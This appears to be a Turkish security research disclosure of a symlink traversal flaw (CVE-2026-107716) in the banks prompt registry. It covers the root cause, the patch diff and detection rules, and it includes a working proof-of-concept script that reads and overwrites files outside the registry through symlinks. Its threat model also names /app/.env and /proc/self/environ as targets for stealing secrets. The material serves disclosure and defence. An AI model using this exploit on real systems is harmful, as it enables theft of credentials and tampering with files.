CVE-2026-107716: banks Prompt Registry'de Sembolik Link Geçişi

İfşa: CVE-2026-107716 (CWE-59, CWE-22), 2.5.0’a kadar banks sürümlerini etkiler. Zafiyeti jankesec olarak bakımcı masci’ye bildirdim. 2.5.1 sürümünde PR #79 ile düzeltildi ve GHSA-556j-vv39-8rqv olarak yayımlandı. GitHub, CNA olarak zafiyeti CVSS 4.0 7.3 (Yüksek) puanladı: CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N.

banks içindeki DirectoryPromptRegistry, prompt’ları bir dizinde dosya olarak saklar. 2.5.0 sürümüne kadar bu dosyaları ve onları listeleyen index.json dosyasını, sembolik link olup olmadıklarını denetlemeden okuyup yazıyordu. Bu nedenle prompt dizinine yerleştirilen bir symlink, registry’nin sürecin erişebildiği herhangi bir dosyayı okumasına veya üzerine yazmasına yetiyordu.

Saldırganın prompt dizinine bir symlink sokması gerekir. Dizin güvenilmeyen girdiden doldurulduğunda bu mümkündür: açılmış bir arşiv, klonlanmış bir depo veya kiracılar arasında paylaşılan bir klasör bunun tipik kaynaklarıdır. Ardından uygulamanın o dizinden prompt yüklemesi veya kaydetmesi gerekir; DirectoryPromptRegistry bunu oluşturulurken ve her set() çağrısında yapar. Yani zafiyet, tek başına bir dosya okuma hatası değil, “dizine yazılan her şey güvenilirdir” varsayımının doğrudan sonucudur. Etki, sürecin izinleriyle sınırlıdır: uygulama root olarak çalışıyorsa okunan veya üzerine yazılan dosya da root kapsamına girer. Bu ayrım, zafiyetin neden özellikle çok kiracılı ve arşiv açan yapay zekâ servislerinde ağır sonuçlar doğurabileceğini açıklar. Güvenlik Sınırı: Registry kökü, sürecin erişebildiği dosya sistemine karşı tek savunma hattı olarak tasarlanmıştı; ancak bu sınır dosya sistemi katmanında hiçbir zaman uygulanmadı.

Registry prompt’ları nasıl saklıyor

• Her prompt, registry dizininde <ad>.<sürüm>.jinja adlı bir dosyadır. index.json bunları listeler.
• Bir DirectoryPromptRegistry oluşturulduğunda, index.json yoksa (veya force_reindex=True verilmişse) _scan() çalışır; aksi halde _load() çağrılır.
• _scan() her *.jinja* dosyasını açar, metnini indekse yazar ve index.json dosyasını oluşturur.
• get(name=..., version=...) indeksten bir prompt döndürür.
• set(prompt=...) prompt dosyasını yazar ve ardından index.json dosyasını yeniden oluşturmak için _save() çağırır.

Kök neden: her okuma ve yazmada link denetimi yok

2.5.0 sürümü, dizin dışına çıkan prompt adlarını zaten reddediyordu (güvenlik bildirisi PR #77’ye işaret eder); ancak bir dosyanın symlink olup olmadığını hiç sormuyordu. Aşağıdaki yazma ve okuma işlemleri, POSIX üzerinde open() fonksiyonunun yaptığı gibi linkleri izler:

        version = prompt.version or DEFAULT_VERSION
        prompt_file = _resolve_prompt_file(path, prompt.name, version)
        prompt_file.write_text(prompt.raw)

    def _save(self):
        """Save the prompt index to disk."""
        self._index_path.write_text(self._index.model_dump_json())

    def _scan(self):
        """Scan directory for prompt files and build the index."""
        self._index: PromptFileIndex = PromptFileIndex()
        for path in self._path.glob("*.jinja*"):
            name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
            with path.open("r") as f:
                pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
                self._index.files.append(pf)
        self._index_path.write_text(self._index.model_dump_json())

Güvenlik bildirisi üç noktayı sıralar:

1. index.json hiç denetlenmez. _save() bir linkin hedefinin üzerine yazar, _load() ise o hedefi okur.
2. _scan(), is_symlink() çağrısı yapmadan veya çözümlenen yolun registry kökünden çıkıp çıkmadığını denetlemeden .jinja dosyalarını açar.
3. set(), bir prompt dosyasının zaten symlink olup olmadığını denetlemeden yazar.

Gizli bir dosyayı işaret eden leak.0.jinja adlı bir link indekse okunur. index.json adlı bir link ise _save() tarafından yazılarak hedef dosyanın üzerine yazar. Her iki durumda da registry kökü sınır olarak tasarlanmıştı; ancak sınır yalnızca mantıksal bir varsayım olarak kaldı ve dosya sistemi katmanında hiçbir zaman uygulanmadı. Kritik nokta şudur: dosyanın adı dizin içinde görünse bile, işletim sistemi açma veya yazma anında linki çözer ve işlemi tamamen başka bir yere yönlendirir.

Kavram kanıtı

Kavram kanıtı, güvenlik bildirisinde yer alan betiktir. İlk yarı registry dizinine bir symlink yerleştirip onun üzerinden okuma yapar. İkinci yarı index.json dosyasını başka bir dosyaya yönlendirir ve registry’nin o dosyanın üzerine yazmasını sağlar:

import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt

# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")

os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)

# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())

force_reindex=True verildiğinde kurucu _scan() çalıştırır; bu da leak.0.jinja dosyasını link üzerinden okur ve get() o metni döndürür. İkinci yarıda set() önce test.1.jinja dosyasını yazar, ardından _save() index.json dosyasını yeniden oluşturur. index.json aslında /tmp/target.conf dosyasına bir link olduğu için o dosya ORIGINAL yerine registry’nin indeks JSON’unu içerir.

2.5.1 sürümünde kurucu artık InvalidPromptError fırlatır; çünkü _scan() symlink olan prompt dosyasını reddeder. Yani düzeltme yalnızca yazma yolunu değil, daha nesne oluşturulurken okuma yolunu da kapatır. Bu davranış, hatalı yapılandırılmış bir dizinin sessizce kabul edilmesi yerine uygulamanın erken ve açık biçimde başarısız olmasını sağlar.

Kanıt matrisi

Düzeltme (PR #79)

PR #79 (commit 23ed13e) 2026-09-10 tarihinde birleştirildi ve aynı gün 2.5.1 olarak yayımlandı. Registry’nin okuduğu veya yazdığı her yola bir symlink denetimi ve kök içinde kalma denetimi ekler; platform desteklediğinde yazmayı O_NOFOLLOW ile yapar. Her hata InvalidPromptError fırlatır. Aşağıdaki alıntılar PR diff’inden alınmıştır.

Yazma işlemleri, linkleri izlemeyi reddeden bir yardımcıdan geçer. O_NOFOLLOW bulunmayan platformlarda (Windows) yardımcı write_text() çağrısına geri döner ve daha önceki denetimlere güvenir:

--- a/src/banks/registries/directory.py
+++ b/src/banks/registries/directory.py
@@ -24,6 +25,23 @@
 DEFAULT_INDEX_NAME = "index.json"
 
 
+def _write_file_no_follow(path: Path, content: str) -> None:
+    """Write content to a file, strictly refusing to follow symbolic links."""
+    no_follow = getattr(os, "O_NOFOLLOW", None)
+    if no_follow is not None:
+        try:
+            fd = os.open(str(path), os.O_WRONLY | os.O_CREAT | os.O_TRUNC | no_follow)
+        except OSError as exc:
+            msg = f"Path is a symbolic link or cannot be opened: {path}"
+            raise InvalidPromptError(msg) from exc
+        with os.fdopen(fd, "w", encoding="utf-8") as f:
+            f.write(content)
+    else:
+        # Platform does not support O_NOFOLLOW (e.g. Windows);
+        # rely on earlier symlink checks in _resolve_prompt_file and _validate_index_path.
+        path.write_text(content, encoding="utf-8")
+
+
 def _resolve_prompt_file(registry_root: Path, name: str, version: str) -> Path:
     """Resolve the on-disk path for a prompt file, ensuring it stays within ``registry_root``."""
     if Path(name).is_absolute():

index.json kendi denetimini alır:

@@ -105,6 +136,14 @@ def __init__(self, directory_path: str, *, force_reindex: bool = False):
         else:
             self._load()
 
+    def _validate_index_path(self):
+        if self._index_path.is_symlink():
+            msg = f"Index file cannot be a symbolic link: {self._index_path}"
+            raise InvalidPromptError(msg)
+        if self._index_path.exists() and not self._index_path.resolve().is_relative_to(self._path.resolve()):
+            msg = f"Index file escapes registry root: {self._index_path}"
+            raise InvalidPromptError(msg)
+
     @property
     def path(self) -> Path:
         """Get the directory path where prompts are stored."""

_load() ve _save() bu denetimi çağırır. _scan() symlink’leri ve kök dışına çıkan yolları reddeder ve sonunda _save() çağırır:

@@ -167,17 +207,34 @@ def _load(self):
 
     def _save(self):
         """Save the prompt index to disk."""
-        self._index_path.write_text(self._index.model_dump_json())
+        self._validate_index_path()
+        _write_file_no_follow(self._index_path, self._index.model_dump_json())
 
     def _scan(self):
         """Scan directory for prompt files and build the index."""
-        self._index: PromptFileIndex = PromptFileIndex()
-        for path in self._path.glob("*.jinja*"):
-            name, version = path.stem.rsplit(".", 1) if "." in path.stem else (path.stem, DEFAULT_VERSION)
-            with path.open("r") as f:
-                pf = PromptFile(text=f.read(), name=name, version=version, path=path, metadata={})
+        self._validate_index_path()
+        self._index = PromptFileIndex()
+        root = self._path.resolve()
+        for path in sorted(self._path.rglob("*.jinja")):
+            if not path.is_file():
+                continue
+            if path.is_symlink():
+                msg = f"Symbolic links are not allowed in prompt registry: {path}"
+                raise InvalidPromptError(msg)
+            resolved = path.resolve()
+            if not resolved.is_relative_to(root):
+                msg = f"Prompt path escapes registry root: {path}"
+                raise InvalidPromptError(msg)
+
+            rel = path.relative_to(self._path)
+            stem = rel.stem
+            name_part, version = stem.rsplit(".", 1) if "." in stem else (stem, DEFAULT_VERSION)
+            full_name = f"{rel.parent.as_posix()}/{name_part}" if str(rel.parent) != "." else name_part
+
+            with path.open("r", encoding="utf-8") as f:
+                pf = PromptFile(text=f.read(), name=full_name, version=version, path=path, metadata={})
                 self._index.files.append(pf)
-        self._index_path.write_text(self._index.model_dump_json())
+        self._save()

_resolve_prompt_file() ayrıca, bir prompt yolu symlink ise onu çözümlemeden önce reddeder. Bu ayrıntı önemlidir: denetim ile dosyanın açılması arasındaki yarış penceresini daraltır, ancak tek başına tüm yarışları ortadan kaldırmaz. Bu nedenle yazma tarafında O_NOFOLLOW gibi atomik bir koruma tercih edilmiştir.

Yapay zeka varlık hattı tehdit modeli

Prompt kayıt defterleri ve şablon yükleyiciler, LLM mimarilerinde genellikle gözden kaçan bir güven sınırını temsil eder. Çok kiracılı platformlarda, harici katkıcılar veya prompt mühendisleri merkezi yapay zeka çıkarım işçisi tarafından tüketilen prompt paketleri (ZIP, tarball veya Git deposu aracılığıyla) yükler:

• Okuma vektörü: Prompt kayıt defteri sembolik linkleri reddetmezse, /app/.env veya /proc/self/environ dosyalarını hedefleyen içe aktarılmış bir prompt şablonu; çalışma zamanı API anahtarlarını, veritabanı parolalarını ve LLM servis belirteçlerini prompt işleme motoruna sızdırır.
• Yazma vektörü: DirectoryPromptRegistry.set() dosyaları ve index.json kaydını doğrudan diske yazdığından, uygulama kodunu veya sistem yapılandırma dosyalarını işaret eden bir symlink; prompt kaydetme hakkına sahip bir saldırgana keyfi dosya üzerine yazma ve potansiyel kod çalıştırma imkanı verir.

Tespit mühendisliği ve telemetri

LLM altyapısı işleten kurumlar, prompt dizinlerinde sembolik link kötüye kullanımını ana makine, boru hattı ve konteyner seviyesinde tespit edebilir.

1. Linux Auditd dosya denetimi

LLM şablonları ve kayıt defterleri için ayrılmış dizinlerde sembolik link oluşturulmasını izleyen bir auditd kuralı devreye alınır:

# /etc/audit/rules.d/99-ai-prompts-symlink.rules
# Prompt dizininde symlink sistem çağrılarını izle
-a always,exit -F arch=b64 -S symlink -S symlinkat -F dir=/var/app/prompts -k prompt_symlink_created

Güvenilmeyen bir arşiv prompt dizinine sembolik link çıkardığında auditd şu kaydı üretir:

type=SYSCALL msg=audit(1728345600.781:1094): arch=c000003e syscall=88 success=yes exit=0
  a0=7ffd54321000 a1=7ffd54321200 items=2 ppid=8412 pid=8420
  auid=1000 uid=1000 gid=1000 euid=1000 comm="tar" exe="/usr/bin/tar" key="prompt_symlink_created"
type=PATH msg=audit(1728345600.781:1094): item=0 name="/var/app/prompts/leak.0.jinja"

2. CI/CD Git boru hattı ön denetimi

Prompt paketleri üretim ortamına girmeden önce sembolik link içeren commit’leri engelleyin:

#!/usr/bin/env bash
# Git pre-receive / CI doğrulama kancası
# Prompt dizininde commit edilmiş sembolik linkleri reddet
if git ls-files -s prompts/ | grep -q "^120000"; then
    echo "[-] REDDEDİLDİ: Prompt deposunda sembolik link tespit edildi." >&2
    exit 1
fi

3. Güvenli arşiv açma

Kullanıcı tarafından sağlanan prompt paketlerini açarken sıkı çıkarma filtreleri uygulayın (Python 3.12+ tarfile.data_filter):

import tarfile

# Hedef dizin dışına çıkan symlink'leri engelleyen güvenli çıkarma
with tarfile.open("untrusted_prompts.tar.gz") as tar:
    tar.extractall(path="/var/app/prompts", filter="data")

ATT&CK teknik eşleşmesi

Çıkarımlar

Bu zafiyet, “dizin içindeki dosya” ile “dizine ait dosya” arasındaki farkı gösterir; bir dosyanın adı doğru görünse bile hedefi tamamen farklı olabilir. Aşağıdaki maddeler, bu farkı somut savunma adımlarına dönüştürür.

1. Güvenilmeyen girdiden doldurulan bir dizin güvenilmezdir; içindeki her linkin hedefi de güvenilmezdir.
2. open(), Path.read_text() ve Path.write_text() symlink’leri izler. Mümkünse os.O_NOFOLLOW ile açın; düzeltme bunu yazma işlemlerinde yapar. Bir denetimden sonra açma işlemi, araya sokulan bir link ile hâlâ yarışabilir.
3. Zip veya tar arşivlerini açarken, dosyalar uygulama dizinine ulaşmadan önce symlink girdilerini atlayın veya reddedin.

banks 2.5.1 veya daha yeni bir sürüme yükseltin.

@misc{jankesec_cve_2026_107716_banks_symlink_traversal_2026,
  author = {Sevban Dönmez},
  title = {CVE-2026-107716: banks Prompt Registry'de Sembolik Link Geçişi},
  year = {2026},
  howpublished = {\url{https://jankesec.com/tr/arastirma/cve-2026-107716-banks-symlink-traversal/}},
  note = {jankesec technical security research (CVE-2026-107716)}
}

[CVE-2026-107716: banks Prompt Registry'de Sembolik Link Geçişi](https://jankesec.com/tr/arastirma/cve-2026-107716-banks-symlink-traversal/) — Sevban Dönmez (2026) [CVE-2026-107716]